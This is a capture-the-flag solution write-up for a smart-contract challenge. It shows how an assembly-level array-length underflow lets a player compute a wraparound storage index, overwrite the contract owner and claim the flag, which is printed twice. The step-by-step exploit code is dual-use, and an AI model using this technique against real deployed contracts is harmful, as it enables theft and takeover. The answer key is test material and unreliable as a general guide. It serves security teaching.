86 lines
2.3 KiB
Markdown
86 lines
2.3 KiB
Markdown
# TACHIBANA_FIRMWARE_REGISTRY — Solution
|
|
|
|
**Difficulty:** Insane | **Category:** Web3 | **Flag:** `ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}`
|
|
|
|
## Overview
|
|
|
|
Smart contract challenge. The contract has a `_trimStaleEntries()` function that
|
|
uses raw assembly to decrement `firmwareHashes.length`. When the array is **empty**
|
|
(length=0), the assembly `sub(len, 1)` wraps to `2^256-1` — granting write access
|
|
to all `2^256` storage slots via `modifyFirmware()`.
|
|
|
|
## Architecture
|
|
|
|
- Port 1337/tcp: console (commands: `info`, `abi`, `check`)
|
|
- Port 8545/tcp: Ethereum JSON-RPC node
|
|
|
|
## Step 1 — Register as operator
|
|
|
|
```python
|
|
contract.functions.registerOperator()
|
|
```
|
|
|
|
Verify `firmwareHashes.length == 0` (array is empty — prerequisite for the underflow).
|
|
|
|
## Step 2 — Trigger the underflow
|
|
|
|
```python
|
|
contract.functions.auditFirmware()
|
|
# Internally: assembly { sstore(slot, sub(len, 1)) }
|
|
# With len=0 → new length = 2^256 - 1
|
|
```
|
|
|
|
## Step 3 — Compute the target storage index
|
|
|
|
Solidity dynamic arrays store elements at `keccak256(abi.encode(slot)) + index`.
|
|
`firmwareHashes` is at slot 2. To write to slot 0 (owner):
|
|
|
|
```python
|
|
from web3 import Web3
|
|
|
|
array_base = int.from_bytes(Web3.keccak(b'\x00' * 31 + b'\x02'), "big")
|
|
# base + target_index ≡ 0 (mod 2^256)
|
|
target_index = (2**256) - array_base
|
|
```
|
|
|
|
## Step 4 — Overwrite the owner
|
|
|
|
```python
|
|
player_as_bytes32 = b'\x00' * 12 + bytes.fromhex(player.address[2:])
|
|
contract.functions.modifyFirmware(target_index, player_as_bytes32)
|
|
# slot 0 now contains our address → we are the new owner
|
|
```
|
|
|
|
## Step 5 — Trigger emergency override as new owner
|
|
|
|
```python
|
|
contract.functions.triggerEmergency()
|
|
```
|
|
|
|
## Step 6 — Get the flag
|
|
|
|
```text
|
|
check
|
|
```
|
|
|
|
## Automated Solver
|
|
|
|
```bash
|
|
python3 solve.py <host>
|
|
```
|
|
|
|
## Key Concepts
|
|
|
|
- **EVM unchecked arithmetic in assembly**: `sub(0, 1)` wraps to `2^256-1` even in Solidity ≥0.8 when using raw `assembly {}`
|
|
- **Dynamic array storage layout**: Elements stored at `keccak256(slot) + index`, enabling arbitrary storage writes via overflow
|
|
- **Fuzzing invariants**: A custom property `owner == deployer` would have caught this immediately
|
|
- **Storage slot arithmetic**: Computing wraparound index requires modular arithmetic over GF(2^256)
|
|
|
|
## Flag
|
|
|
|
`ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}`
|
|
|
|
## Author
|
|
|
|
Eun0us
|